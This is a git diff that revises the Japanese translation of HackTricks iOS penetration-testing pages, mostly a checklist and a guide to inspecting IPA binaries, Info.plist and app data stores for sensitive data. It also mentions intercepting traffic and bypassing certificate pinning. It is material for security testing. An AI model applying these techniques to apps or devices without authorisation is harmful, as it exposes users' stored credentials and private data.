+* [ ] アプリケーションがカスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかどうかを確認してください。
+* [ ] アプリケーションがカスタムスキームを介して**どこからでも呼び出すことができる機密なアクション**を公開していないかを確認してください。
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
-* [ ] アプリケーションがUIActivitiesを受信できるかどうか、特別に作成されたアクティビティで**脆弱性を悪用**できるかを確認してください。
+* [ ] アプリケーションがUIActivitiesを受信できるかどうか、特別に作成されたアクティビティで**脆弱性を悪用**できるかどうかを確認してください。
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] アプリケーションが**一般のペーストボードに何かをコピーしているか**を確認してください。
* [ ] アプリケーションが**一般のペーストボードからデータを使用しているか**を確認してください。
-* ペーストボードを監視して、**機密データがコピーされているか**を確認してください。
+* [ ] ペーストボードを監視して、**機密データがコピーされているか**を確認してください。
* [**App Extensions**](ios-pentesting/ios-app-extensions.md)
-* アプリケーションが**拡張機能を使用しているか**を確認してください。
+* [ ] アプリケーションが**どのような拡張機能を使用しているか**を確認してください。
* [**WebViews**](ios-pentesting/ios-webviews.md)
-* 使用されているWebViewsの種類を確認してください。
-* **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**のステータスを確認してください。
-* Webviewが**`file://`プロトコルでローカルファイルにアクセスできるか**を確認してください(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`)。
-* Javascriptが**Native** **メソッドにアクセスできるか**を確認してください(`JSContext`、`postMessage`)。
+* [ ] 使用されているWebViewsの種類を確認してください。
+* [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認してください。
+* [ ] Webviewが**`file://`プロトコルでローカルファイルにアクセスできるか**を確認してください(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`)。
+* [ ] Javascriptが**Native** **メソッドにアクセスできるか**を確認してください(`JSContext`、`postMessage`)。
### ネットワーク通信
* [ ] [**通信へのMitM**](ios-pentesting/#network-communication)を実行し、Web脆弱性を検索します。
-* [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)がチェックされているかどうかを確認します。
+* [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)がチェックされているか確認します。
* [ ] [**証明書ピニング**](ios-pentesting/#certificate-pinning)をチェック/バイパスします。
### **その他**
@@ -119,7 +119,7 @@ HackTricksをサポートする他の方法:
**Try Hard Security Group**
-
+
{% embed url="https://discord.gg/tryhardsecurity" %}
@@ -129,15 +129,15 @@ HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法:
-* **HackTricksのPDFをダウンロード**したり、**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
+* **HackTricksの広告を見たい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、Twitterで**フォロー**する 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
-
+
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md
index e2e0ba531..f49a774b8 100644
--- a/mobile-pentesting/ios-pentesting/README.md
+++ b/mobile-pentesting/ios-pentesting/README.md
@@ -1,16 +1,16 @@
# iOS Pentesting
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学びましょう**!
+htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
HackTricksをサポートする他の方法:
@@ -47,7 +47,7 @@ HackTricksをサポートする他の方法:
{% endcontent-ref %}
{% hint style="info" %}
-以下の手順に進むには、アプリがデバイスに**インストールされている必要があり**、アプリの**IPAファイルをすでに取得している必要があります**。\
+以下の手順には、アプリがデバイスに**インストールされている必要があり**、アプリケーションの**IPAファイルをすでに取得している必要があります**。\
これを行う方法については、[基本的なiOSテスト操作](basic-ios-testing-operations.md)ページを読んでください。
{% endhint %}
@@ -60,17 +60,17 @@ HackTricksをサポートする他の方法:
* **PIE(Position Independent Executable)**:有効になっている場合、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測するのが難しくなります。
```bash
-otool -hv | grep PIE # PIEフラグが含まれている必要があります
+otool -hv | grep PIE # PIEフラグを含める必要があります
```
* **スタックキャナリー**:スタックの整合性を検証するために、関数を呼び出す前にスタックに「キャナリー」値が配置され、関数が終了すると再度検証されます。
```bash
-otool -I -v | grep stack_chk # stack_chk_guardおよびstack_chk_failのシンボルが含まれている必要があります
+otool -I -v | grep stack_chk # stack_chk_guardおよびstack_chk_failのシンボルを含める必要があります
```
-* **ARC(Automatic Reference Counting)**:一般的なメモリ破壊の欠陥を防ぐため
+* **ARC(Automatic Reference Counting)**:一般的なメモリ破損の欠陥を防ぐため
```bash
-otool -I -v | grep objc_release # _objc_releaseシンボルが含まれている必要があります
+otool -I -v | grep objc_release # _objc_releaseシンボルを含める必要があります
```
* **暗号化されたバイナリ**:バイナリは暗号化されている必要があります
@@ -164,7 +164,7 @@ PID Name Identifier
```
### 基本列挙とフック
-アプリケーションのコンポーネントを列挙する方法と、簡単にメソッドやクラスをフックする方法を学びましょう objection を使用して:
+アプリケーションの**コンポーネントを列挙**する方法と、簡単に**メソッドやクラスをフック**する方法を objection を使用して学びます:
{% content-ref url="ios-hooking-with-objection.md" %}
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
@@ -172,26 +172,26 @@ PID Name Identifier
### IPAの構造
-**IPAファイル**の構造は基本的に**圧縮されたパッケージ**です。拡張子を `.zip` に変更することで、その内容を表示するために**展開**できます。この構造の中で、**Bundle** はインストールの準備が整った完全なパッケージ化されたアプリケーションを表します。内部には、アプリケーションのリソースをカプセル化した `.app` というディレクトリが含まれています。
+**IPAファイル**の構造は基本的に**圧縮されたパッケージ**です。拡張子を`.zip`に変更することで、その内容を明らかにするために**展開**できます。この構造の中で、**Bundle**はインストールの準備が整った完全なパッケージ化されたアプリケーションを表します。内部には、アプリケーションのリソースをカプセル化した`.app`というディレクトリが含まれています。
* **`Info.plist`**: このファイルにはアプリケーションの特定の構成詳細が記載されています。
* **`_CodeSignature/`**: このディレクトリには、バンドル内のすべてのファイルの整合性を確保する署名を含む plist ファイルが含まれています。
* **`Assets.car`**: アイコンなどのアセットファイルを保存する圧縮アーカイブです。
-* **`Frameworks/`**: このフォルダには、`.dylib` または `.framework` ファイルの形式であるアプリケーションのネイティブライブラリが格納されています。
-* **`PlugIns/`**: これには、`.appex` ファイルとして知られるアプリケーションの拡張機能が含まれる場合がありますが、常に存在するわけではありません。
-* [**`Core Data`**](https://developer.apple.com/documentation/coredata): これは、アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一のデバイスでアプリに元に戻す機能を追加するために使用されます。単一の iCloud アカウント内の複数のデバイス間でデータを同期するために、Core Data はスキーマを自動的に CloudKit コンテナにミラーリングします。
-* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定する別の方法です。
+* **`Frameworks/`**: このフォルダには、`.dylib`や`.framework`形式のアプリケーションのネイティブライブラリが格納されています。
+* **`PlugIns/`**: これには、`.appex`ファイルとして知られるアプリケーションの拡張機能が含まれる場合がありますが、常に存在するわけではありません。
+* [**`Core Data`**](https://developer.apple.com/documentation/coredata): これは、アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイスでアプリに元に戻す機能を追加するために使用されます。単一の iCloud アカウント内の複数のデバイス間でデータを同期するために、Core Data はスキーマを自動的に CloudKit コンテナにミラーリングします。
+* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定する別の方法です。
* **en.lproj, fr.proj, Base.lproj**: これらは、特定の言語のリソースを含み、言語がサポートされていない場合のデフォルトリソースを含む言語パックです。
-* **セキュリティ**: `_CodeSignature/` ディレクトリは、デジタル署名を介してバンドルされたすべてのファイルの整合性を検証することで、アプリのセキュリティに重要な役割を果たします。
-* **アセット管理**: `Assets.car` ファイルは、グラフィカルアセットを効率的に管理するために圧縮を使用し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。
-* **フレームワークとプラグイン**: これらのディレクトリは、iOSアプリケーションのモジュラリティを強調し、再利用可能なコードライブラリ (`Frameworks/`) を含め、アプリの機能を拡張する (`PlugIns/`) ことを可能にします。
-* **ローカライゼーション**: この構造は、複数の言語をサポートし、特定の言語パックのリソースを含むことで、グローバルなアプリケーションの到達を容易にします。
+* **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を介してバンドルされたすべてのファイルの整合性を検証することで、アプリのセキュリティに重要な役割を果たします。
+* **アセット管理**: `Assets.car`ファイルは、グラフィカルアセットを効率的に管理するために圧縮を使用し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。
+* **フレームワークとプラグイン**: これらのディレクトリは、iOSアプリケーションのモジュラリティを強調し、再利用可能なコードライブラリ(`Frameworks/`)を含めたり、アプリの機能を拡張したり(`PlugIns/`)することを開発者に許可します。
+* **ローカライゼーション**: この構造は、特定の言語パックのリソースを含むことで、複数の言語をサポートし、グローバルなアプリケーションの到達性を促進します。
**Info.plist**
-**Info.plist** は、iOSアプリケーションの基盤として機能し、キーと値のペアの形式で重要な構成データをカプセル化します。このファイルは、アプリケーションだけでなく、バンドル内にバンドルされたアプリケーション拡張機能やフレームワークにとっても必須です。XMLまたはバイナリ形式で構造化され、アプリの権限からセキュリティ構成まで、重要な情報を保持しています。利用可能なキーの詳細な探索については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) を参照してください。
+**Info.plist**は、iOSアプリケーションの基盤として機能し、**キーと値**のペアの形式で重要な構成データをカプセル化します。このファイルは、アプリケーションだけでなく、バンドル内にバンドルされたアプリケーション拡張機能やフレームワークにも必須です。XMLまたはバイナリ形式で構造化され、アプリの権限からセキュリティ構成まで、重要な情報を保持しています。利用可能なキーの詳細な探索については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc)を参照してください。
-このファイルをよりアクセスしやすい形式で操作したい場合、macOS では `plutil` を使用して簡単に XML 変換を行うことができます(バージョン10.2以降でネイティブで利用可能)、Linux では `plistutil` を使用します。変換のためのコマンドは次のとおりです:
+このファイルをよりアクセスしやすい形式で扱いたい場合、macOSでは`plutil`(バージョン10.2以降でネイティブで利用可能)またはLinuxでは`plistutil`を使用して、XML変換を簡単に行うことができます。変換のためのコマンドは次の通りです:
* **macOS用**:
```bash
@@ -202,15 +202,15 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
-Info.plist**ファイルが漏洩する可能性のある情報の中には、アプリの許可文字列(`UsageDescription`)、カスタムURLスキーム(`CFBundleURLTypes`)、App Transport Securityの設定(`NSAppTransportSecurity`)などがあります。これらのエントリは、ファイルを検査するか、単純な`grep`コマンドを使用して簡単に見つけることができます。
+Info.plist**ファイルが漏洩する可能性のある情報の中には、アプリの許可文字列(`UsageDescription`)、カスタムURLスキーム(`CFBundleURLTypes`)、App Transport Securityの構成(`NSAppTransportSecurity`)などがあります。これらのエントリは、ファイルを検査するか、単純な`grep`コマンドを使用して簡単に見つけることができます。
```bash
$ grep -i Info.plist
```
**データパス**
-iOS環境では、ディレクトリが**システムアプリケーション**と**ユーザーがインストールしたアプリケーション**のために特別に指定されています。システムアプリケーションは`/Applications`ディレクトリにあり、ユーザーがインストールしたアプリケーションは`/private/var/containers/`以下に配置されます。これらのアプリケーションには**128ビットUUID**として知られる一意の識別子が割り当てられており、ディレクトリ名のランダム性によりアプリのフォルダを手動で見つける作業が困難です。
+iOS環境では、ディレクトリが**システムアプリケーション**と**ユーザーがインストールしたアプリケーション**のために特に指定されています。システムアプリケーションは`/Applications`ディレクトリにあり、ユーザーがインストールしたアプリケーションは`/private/var/containers/`以下に配置されます。これらのアプリケーションには**128ビットUUID**として知られる一意の識別子が割り当てられており、ディレクトリ名のランダム性によりアプリのフォルダを手動で見つける作業が困難です。
-ユーザーがインストールしたアプリのインストールディレクトリを見つけるために、**objectionツール**は便利な`env`コマンドを提供しています。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用方法の例です:
+ユーザーがインストールしたアプリのインストールディレクトリを見つけるために、**objectionツール**は便利な`env`コマンドを提供しています。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用方法の例です:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@@ -221,11 +221,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
```
-代わりに、`find`コマンドを使用して`/private/var/containers`内でアプリ名を検索できます:
+または、`find`コマンドを使用して`/private/var/containers`内でアプリ名を検索できます:
```bash
find /private/var/containers -name "Progname*"
```
-次のようなコマンド、`ps`や`lsof`も利用して、アプリのプロセスを特定したり、開いているファイルの一覧を表示したりすることができ、それによってアプリケーションのアクティブなディレクトリパスについての洞察を得ることができます。
+次のようなコマンド、`ps`や`lsof`は、アプリのプロセスを特定したり、開いているファイルの一覧を表示したりするためにも利用できます。これにより、アプリケーションのアクティブなディレクトリパスに関する洞察が得られます。
```bash
ps -ef | grep -i
lsof -p | grep -i "/containers" | head -n 1
@@ -241,15 +241,15 @@ lsof -p | grep -i "/containers" | head -n 1
**データディレクトリ:**
* **Documents/**
-* すべてのユーザー生成データが含まれています。アプリケーションエンドユーザーがこのデータの作成を開始します。
+* すべてのユーザー生成データが含まれています。アプリケーションのエンドユーザーがこのデータの作成を開始します。
* ユーザーに見え、**ユーザーは書き込むことができます**。
* このディレクトリ内のコンテンツは**バックアップされます**。
* アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
* **Library/**
-* **ユーザー固有でないファイル**、**キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)構成ファイルが含まれています。
-* iOSアプリは通常、`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成することができます。
+* **ユーザー固有でないファイル**、**キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)構成ファイルなどが含まれています。
+* iOSアプリは通常、`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。
* **Library/Caches/**
-* **半永続的なキャッシュファイル**が含まれています。
+* **一時的なキャッシュファイル**が含まれています。
* ユーザーには見えず、**ユーザーは書き込むことはできません**。
* このディレクトリ内のコンテンツは**バックアップされません**。
* アプリが実行されていないときやストレージ容量が不足しているとき、OSはこのディレクトリのファイルを自動的に削除する場合があります。
@@ -259,17 +259,17 @@ lsof -p | grep -i "/containers" | head -n 1
* このディレクトリ内のコンテンツは**バックアップされます**。
* アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
* **Library/Preferences/**
-* アプリケーションが再起動されても**持続するプロパティを保存**するために使用されます。
-* 情報は、アプリケーションサンドボックス内のplistファイルで暗号化されていない形で保存されます。\[BUNDLE\_ID].plistと呼ばれます。
+* アプリケーションが再起動されても**持続するプロパティ**を保存するために使用されます。
+* 情報は、アプリケーションサンドボックス内の\[BUNDLE\_ID].plistというplistファイルに暗号化されていない形で保存されます。
* `NSUserDefaults`を使用して保存されたすべてのキー/値ペアはこのファイルに見つけることができます。
* **tmp/**
* アプリの起動間に**持続する必要のない一時ファイル**を書き込むためにこのディレクトリを使用します。
* 非永続的なキャッシュファイルが含まれています。
* ユーザーには**見えません**。
* このディレクトリ内のコンテンツはバックアップされません。
-* アプリが実行されていないときやストレージ容量が不足しているとき、OSはこのディレクトリのファイルを自動的に削除する場合があります。
+* OSは、アプリが実行されていないときやストレージ容量が不足しているとき、このディレクトリのファイルを自動的に削除する場合があります。
-iGoat-Swiftのアプリケーションバンドル(.app)ディレクトリをバンドルディレクトリ内で詳しく見てみましょう(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`)。
+iGoat-Swiftのアプリケーションバンドル(.app)ディレクトリをBundleディレクトリ内で詳しく見てみましょう(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`)。
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@@ -285,7 +285,7 @@ Regular 420 None ... README.txt
```
### バイナリリバース
-`.app`フォルダーの中には、``という名前のバイナリファイルが含まれています。これが**実行**されるファイルです。ツール**`otool`**を使用してバイナリの基本的な検査を行うことができます:
+`.app` フォルダーの中には、`` という名前のバイナリファイルが含まれています。これが**実行**されるファイルです。ツール **`otool`** を使用してバイナリの基本的な検査を行うことができます。
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@@ -321,7 +321,7 @@ DVIA-v2:
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
```
-**Objective-Cセグメント**を出力するには、次のコマンドを使用できます:
+**Objective-Cセグメント**を印刷するには、次のようにします:
```bash
otool -oV DVIA-v2
DVIA-v2:
@@ -335,7 +335,7 @@ data 0x1003de748
flags 0x80
instanceStart 8
```
-以下は、Objective-Cコードをよりコンパクトにするために使用できる[**class-dump**](http://stevenygard.com/projects/class-dump/)です:
+iOSのペネトレーションテストでは、よりコンパクトなObjective-Cコードを取得するために、[**class-dump**](http://stevenygard.com/projects/class-dump/)を使用できます:
```bash
class-dump some-app
//
@@ -363,7 +363,7 @@ double _field2;
```
しかし、バイナリを逆アセンブルするための最良のオプションは、[**Hopper**](https://www.hopperapp.com/download.html?) と [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/) です。
-
+
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** し、**自動化** します。\
@@ -386,11 +386,11 @@ iOS がデバイス内にデータを保存する方法について学ぶには
### Plist
-**plist** ファイルは、**キーと値のペアを含む** 構造化された XML ファイルです。これは永続データを保存する方法であり、したがって、これらのファイルに **機密情報が含まれていることがあります**。アプリをインストールした後や頻繁に使用した後にこれらのファイルをチェックすることをお勧めします。
+**plist** ファイルは、**キーと値のペアを含む** 構造化された XML ファイルです。永続データを保存する方法であり、したがって、これらのファイルに **機密情報が含まれることがあります**。アプリをインストールした後や頻繁に使用した後にこれらのファイルをチェックすることをお勧めします。
-plist ファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults** の使用です。この plist ファイルは、**`Library/Preferences/.plist`** 内のアプリケーションサンドボックスに保存されます。
+plist ファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults** の使用です。この plist ファイルは、**`Library/Preferences/.plist`** 内のアプリケーションのサンドボックスに保存されます。
-[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) クラスは、デフォルトシステムとのやり取りのためのプログラムインターフェースを提供します。デフォルトシステムにより、アプリケーションは **ユーザーの設定に応じて動作をカスタマイズ** できます。`NSUserDefaults` に保存されたデータは、アプリケーションバンドルで表示できます。このクラスは、**少量のデータ** と一緒に使用することを意図しています。
+[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) クラスは、デフォルトシステムとのやり取りのためのプログラムインターフェースを提供します。デフォルトシステムにより、アプリケーションは **ユーザーの設定に応じて動作をカスタマイズ** できます。`NSUserDefaults` に保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは、**データ** を **plist** **ファイル** に保存しますが、少量のデータと一緒に使用することが意図されています。
このデータは、信頼されたコンピュータを介して直接アクセスすることはできませんが、**バックアップ** を実行することでアクセスできます。
@@ -400,9 +400,7 @@ plist ファイルにデータを永続化する最も一般的な方法は、**
```bash
find ./ -name "*.plist"
```
-以下は、**XMLまたはバイナリ(bplist)**形式のファイルをXML形式に変換するための、オペレーティングシステムに応じたさまざまな方法が利用可能です:
-
-**macOSユーザー向け:** `plutil`コマンドを利用します。macOS(10.2以上)に組み込まれているこのツールは、この目的に特化しています。
+**macOSユーザー向け:** `plutil`コマンドを利用します。これはmacOS(10.2以上)に組み込まれたツールで、この目的のために設計されています。
```bash
$ plutil -convert xml1 Info.plist
```
@@ -457,7 +455,7 @@ YapデータベースはSQLiteデータベースなので、前のセクショ
### その他のSQLiteデータベース
-アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには**機密データ**が格納されている可能性があり、暗号化されていないことがあります。そのため、アプリケーションディレクトリ内のすべてのデータベースをチェックすることは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します (`/private/var/mobile/Containers/Data/Application/{APPID}`)
+アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには**機密データ**が格納されている可能性があり、それが暗号化されていないままになっていることがあります。そのため、常にアプリケーションディレクトリ内のすべてのデータベースをチェックすることが興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
@@ -465,17 +463,13 @@ find ./ -name "*.sqlite" -or -name "*.db"
開発者はFirebase Real-Time Databasesを通じて、**NoSQLクラウドホスト型データベース**内でデータを**保存および同期**することができます。データはJSON形式で保存され、リアルタイムですべての接続されたクライアントに同期されます。
-Firebaseデータベースの設定ミスをチェックする方法はこちらで確認できます:
-
-{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
-[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
-{% endcontent-ref %}
+Firebaseデータベースの設定ミスをチェックする方法は[こちら](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)で確認できます。
### Realm databases
[Realm Objective-C](https://realm.io/docs/objc/latest/)および[Realm Swift](https://realm.io/docs/swift/latest/)は、Appleによって提供されていないデータ保存の強力な代替手段を提供します。デフォルトでは、データは暗号化されず、特定の構成を介して暗号化が可能です。
-データベースは次の場所にあります:`/private/var/mobile/Containers/Data/Application/{APPID}`。これらのファイルを探索するために、次のようなコマンドを利用することができます:
+データベースは次の場所にあります:`/private/var/mobile/Containers/Data/Application/{APPID}`。これらのファイルを調査するために、次のようなコマンドを利用することができます:
```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
@@ -498,15 +492,15 @@ fatalError("Error opening realm: \(error)")
```
### Couchbase Lite データベース
-[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) は、**軽量**かつ**組み込み**のデータベースエンジンで、**ドキュメント指向**(NoSQL)アプローチに従っています。**iOS**と**macOS**にネイティブで設計されており、データをシームレスに同期する機能を提供しています。
+[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)は、**軽量**かつ**組み込み**のデータベースエンジンであり、**ドキュメント指向**(NoSQL)アプローチに従っています。**iOS**と**macOS**向けにネイティブに設計されており、データをシームレスに同期する機能を提供しています。
-デバイス上の潜在的なCouchbaseデータベースを特定するには、次のディレクトリを調査する必要があります:
+デバイス上で潜在的なCouchbaseデータベースを特定するには、次のディレクトリを調査する必要があります:
```bash
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
```
### Cookies
-iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**に保存します。ただし、開発者は時々、**cookieファイルがバックアップでアクセスできる**ため、それらを**キーチェーン**に保存することを選択します。
+iOSアプリのクッキーは、各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**に保存されます。ただし、開発者は時々、**クッキーファイルがバックアップでアクセス可能**であるため、それらを**キーチェーン**に保存することを選択することがあります。
クッキーファイルを検査するには、[**このPythonスクリプト**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)を使用するか、objectionの**`ios cookies get`**を使用できます。\
**また、objectionを使用して**これらのファイルをJSON形式に変換してデータを検査することもできます。
@@ -527,9 +521,9 @@ iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Coo
```
### キャッシュ
-デフォルトでは、NSURLSessionは**HTTPリクエストとレスポンスをCache.db**データベースに保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれている可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/`)を開き、`/Library/Caches/`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドでデータベースを開いて操作することができます。これは**通常のSQLiteデータベース**です。
+デフォルトでは、NSURLSessionは**HTTPリクエストとレスポンスをCache.dbデータベースに保存**します。このデータベースには、**トークン、ユーザー名、またはその他の機密情報**がキャッシュされている場合があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/`)を開き、`/Library/Caches/`に移動します。**WebKitキャッシュもCache.dbファイルに保存**されています。**Objection**は、`sqlite connect Cache.db`コマンドでデータベースを開いて操作できます。これは**通常のSQLiteデータベース**です。
-このデータのキャッシュを無効にすることを**推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストには、これを実現するさまざまな方法が示されています。
+このデータのキャッシュを無効にすることを**お勧め**します。リクエストやレスポンスに機密情報が含まれている可能性があります。以下は、これを実現するさまざまな方法のリストです:
1. ログアウト後にキャッシュされたレスポンスを削除することをお勧めします。Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)メソッドを使用してこれを行うことができます。次のようにこのメソッドを呼び出すことができます:
@@ -538,18 +532,18 @@ iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Coo
このメソッドは、Cache.dbファイルからすべてのキャッシュされたリクエストとレスポンスを削除します。
2. クッキーの利点を利用する必要がない場合は、URLSessionの[.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)構成プロパティを使用することをお勧めします。これにより、クッキーとキャッシュの保存が無効になります。
-[Appleのドキュメント](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
+[Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
-`ephemeralセッション構成オブジェクトは、デフォルトのセッション構成(defaultを参照)と似ていますが、対応するセッションオブジェクトは、キャッシュ、資格情報ストア、またはディスクへのセッション関連データを保存しません。代わりに、セッション関連データはRAMに保存されます。ephemeralセッションがデータをディスクに書き込む唯一の場合は、URLの内容をファイルに書き込むように指示したときです。`
-3. キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することで、キャッシュをメモリやディスクに保存しないようにすることもできます。
+`ephemeralセッション構成オブジェクトは、デフォルトのセッション構成(defaultを参照)と似ていますが、対応するセッションオブジェクトは、キャッシュ、資格情報ストア、またはディスクにセッション関連データを保存しません。代わりに、セッション関連データはRAMに保存されます。ephemeralセッションがデータをディスクに書き込む唯一の場合は、URLの内容をファイルに書き込むように指示した場合です。`
+3. キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することで、キャッシュをメモリやディスクに保存しないように無効にすることもできます。
### スナップショット
